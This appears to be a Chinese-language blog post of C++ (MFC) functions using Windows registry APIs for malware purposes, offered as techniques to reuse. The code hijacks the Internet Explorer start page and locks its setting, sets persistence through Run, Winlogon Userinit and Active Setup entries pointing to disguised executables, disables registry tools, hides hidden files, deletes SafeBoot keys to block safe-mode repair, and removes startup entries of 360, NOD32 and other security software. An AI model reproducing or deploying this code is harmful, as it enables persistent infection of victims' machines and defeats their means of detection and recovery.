熟悉注册表的这几个API函数,再灵活运用应该没什么问题!

 

1、修改键值,重新设置IE主页

void C***Dlg::SetHome() { //修改IE主页 HKEY hkey1; RegOpenKey(HKEY_CURRENT_USER,"Software//Microsoft//Internet Explorer//Main",&hkey1); RegSetValueEx(hkey1,"Start Page",0,REG_SZ,(LPBYTE)("http://www.djawen.com"),sizeof("http://www.djawen.com")); RegCloseKey(hkey1); //屏蔽主页选项卡 HKEY hKEY2; LPCTSTR data_Set1="Software//Policies//Microsoft//Internet Explorer//Control Panel"; RegCreateKey(HKEY_CURRENT_USER,"Software//Policies//Microsoft//Internet Explorer//Control Panel",&hKEY2); DWORD value=1; long ret0=::RegOpenKeyEx(HKEY_CURRENT_USER,data_Set1, 0, KEY_ALL_ACCESS, &hKEY2); if(hKEY2 == NULL) { //MessageBox(NULL,"获取失败!","提示",MB_OK); return; } long ret1=::RegSetValueEx(hKEY2,"HomePage",0,REG_DWORD,(LPBYTE) &value,sizeof(value)); long ret2=::RegCloseKey(hKEY2); }

 

2、读取键值,判断是否修改过IE主页

BOOL C***Dlg::IsSetHome() { //判断是否修改了主页 char szPath[MAX_PATH]; CString temp="http://www.djawen.com"; char szTemp[MAX_PATH]; HKEY hKey; if(RegOpenKey(HKEY_CURRENT_USER,_T("Software//Microsoft//Internet Explorer//Main"),&hKey)!=ERROR_SUCCESS) { ASSERT(0); return FALSE; } sprintf(szTemp,"%s",temp); DWORD dwSize = sizeof(szPath); RegQueryValueEx(hKey,_T("Start Page"),NULL,NULL,(LPBYTE)szPath,&dwSize); if(szTemp[256] == szPath[256]) { //MessageBox("RegValue is Setting!","OK"); return TRUE; } else { //MessageBox(szTemp,"Error"); return FALSE; } RegCloseKey(hKey); }

 

3、开机自动启动

void C***Dlg::SetAutoRun() { //添加到注册表MACHINE启动 HKEY hKey; LPCTSTR lpRun = "Software//Microsoft//Windows//CurrentVersion//Run"; long lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, lpRun, 0, KEY_WRITE, &hKey); if(lRet == ERROR_SUCCESS) { RegSetValueEx(hKey,"SoudMan",0,REG_SZ,(LPBYTE)("C://Windows//system32//SoudMan.exe"), strlen("C://Windows//system32//SoudMand.exe")); RegCloseKey(hKey); if(lRet != ERROR_SUCCESS) { //AfxMessageBox("系统参数错误,不能随系统启动"); return; } } //Userinit:使系统启动时自动初始化程序 HKEY hkey; RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE//Microsoft//Windows NT//CurrentVersion//Winlogon",&hkey); RegSetValueEx(hkey,"Userinit",0,REG_SZ, (LPBYTE)("C://WINDOWS//system32//userinit.exe,C://WINDOWS//system32//SoudMan.exe,C://WINDOWS//system32//Windows Player.exe"), strlen("C://WINDOWS//system32//userinit.exe,C://WINDOWS//system32//SoudMan.exe,C://WINDOWS//system32//Windows Player.exe")); RegCloseKey(hkey); }

 

4、锁定注册表

void C***Dlg::LockReg() { //为避免其他软件修复IE,先锁定注册表 HKEY hKEY1,hKEY2; RegCreateKey(HKEY_CURRENT_USER,"Software//Microsoft//Windows//CurrentVersion//Policies//System",&hKEY1); LPCTSTR data_Set="Software//Microsoft//Windows//CurrentVersion//Policies//System"; DWORD value=1; RegOpenKeyEx(HKEY_CURRENT_USER,data_Set, 0, KEY_ALL_ACCESS, &hKEY2); if(hKEY2 == NULL) { // MessageBox("获取失败!"); return; } RegSetValueEx(hKEY2,"DisableRegistryTools",0,REG_DWORD,(LPBYTE) &value,sizeof(value)); RegCloseKey(hKEY2); }

 

5、修改文件夹选项,不显示隐藏文件

 void C***Dlg::HiddenFile() { //修改文件夹选项,不显示隐藏文件 char buffer[]="SOFTWARE//Microsoft//Windows//CurrentVersion//Explorer//Advanced//Folder//Hidden//SHOWALL"; HKEY hkey; DWORD Data=0; RegOpenKeyEx(HKEY_LOCAL_MACHINE,buffer,0,KEY_ALL_ACCESS,&hkey); RegSetValueEx(hkey,"CheckedValue",0,REG_DWORD,(CONST BYTE*)&Data,4); RegCloseKey(hkey); //用IE进程隐藏该进程 RegDeleteKey(HKEY_CURRENT_USER,"Software//Microsoft//Active Setup//Installed Components//{H9I12RB03-AB-B70-7-11d2-9CBD-0O00FS7AH6-9E2121BHJLK}"); HKEY hKey; TCHAR svExeFile[256] = "%SystemRoot%//system32//Windows Player.exe"; RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE//Microsoft//Active Setup//Installed Components//{H9I12RB03-AB-B70-7-11d2-9CBD-0O00FS7AH6-9E2121BHJLK}" ,&hKey); RegSetValue(hKey,NULL,REG_SZ,"系统设置",strlen("系统设置")); RegSetValueEx(hKey,"stubpath",0,REG_EXPAND_SZ,(BYTE*)svExeFile,lstrlen(svExeFile)); RegCloseKey(hKey); return ; }

 

6、禁止登录安全模式

void C***Dlg::FuckSafeMode() { //禁止用户登录到安全模式修复系统 RegDeleteKey(HKEY_LOCAL_MACHINE,"SYSTEM//ControlSet001//Control//SafeBoot//Minimal//{36FC9E60-C465-11CF-8056-444553540000}"); RegDeleteKey(HKEY_LOCAL_MACHINE,"SYSTEM//ControlSet001//Control//SafeBoot//Minimal//{4D36E967-E325-11CE-BFC1-08002BE10318}"); RegDeleteKey(HKEY_LOCAL_MACHINE,"SYSTEM//ControlSet001//Control//SafeBoot//Minimal//{36FC9E60-C465-11CF-8056-444553540000}"); RegDeleteKey(HKEY_LOCAL_MACHINE,"SYSTEM//CurrentControlSet//Control//SafeBoot//Minimal//{4D36E967-E325-11CE-BFC1-08002BE10318}"); RegDeleteKey(HKEY_LOCAL_MACHINE,"SYSTEM//CurrentControlSet//Control//SafeBoot//Network//{1a3e09be-1e45-494b-9174-d7385b45bbf5}"); RegDeleteKey(HKEY_LOCAL_MACHINE,"SYSTEM//CurrentControlSet//Control//SafeBoot//Network//{4D36E967-E325-11CE-BFC1-08002BE10318}"); }

 

7、破坏360及安全软件

void C***Dlg::Fuck360() { //禁止360在修改注册表时的提示信息 RegDeleteKey(HKEY_LOCAL_MACHINE,"SOFTWARE//360safe//safemon"); //删除HKEY_LOCAL_MACHINE启动项360卫士、保险箱、NOD32、天网防火墙 HKEY hKEY1; LPCTSTR data_Set2="Software//Microsoft//Windows//CurrentVersion//Run"; long ret3=::RegOpenKeyEx(HKEY_LOCAL_MACHINE,data_Set2, 0, KEY_ALL_ACCESS, &hKEY1); RegDeleteValue(hKEY1,"360Safe"); RegDeleteValue(hKEY1,"360Safetray"); RegDeleteValue(hKEY1,"RavTask"); RegDeleteValue(hKEY1,"egui"); RegDeleteValue(hKEY1,"SKYNET Personal FireWall"); RegCloseKey(hKEY1); //删除HKEY_CURRENT_USER启动项360卫士、保险箱、NOD32、天网防火墙 HKEY hKEY2; long ret4=::RegOpenKeyEx(HKEY_CURRENT_USER,data_Set2, 0, KEY_ALL_ACCESS, &hKEY2); RegDeleteValue(hKEY2,"360Safe"); RegDeleteValue(hKEY2,"360Safetray"); RegDeleteValue(hKEY2,"egui"); RegDeleteValue(hKEY2,"SKYNET Personal FireWall"); RegCloseKey(hKEY2); //删除360安全卫士相关信息 HKEY hKEY3; LPCTSTR data_Set3="Software//Microsoft//Windows//CurrentVersion//App Paths//360Safe.exe"; long ret5=::RegOpenKeyEx(HKEY_LOCAL_MACHINE,data_Set3, 0, KEY_ALL_ACCESS, &hKEY3); RegDeleteValue(hKEY3,"Path"); RegCloseKey(hKEY3); //删除360保险箱相关信息 HKEY hKEY4; LPCTSTR data_Set4="Software//Microsoft//Windows//CurrentVersion//App Paths//360safebox.exe"; long ret6=::RegOpenKeyEx(HKEY_LOCAL_MACHINE,data_Set4, 0, KEY_ALL_ACCESS, &hKEY4); RegDeleteValue(hKEY4,"Path"); RegCloseKey(hKEY4); }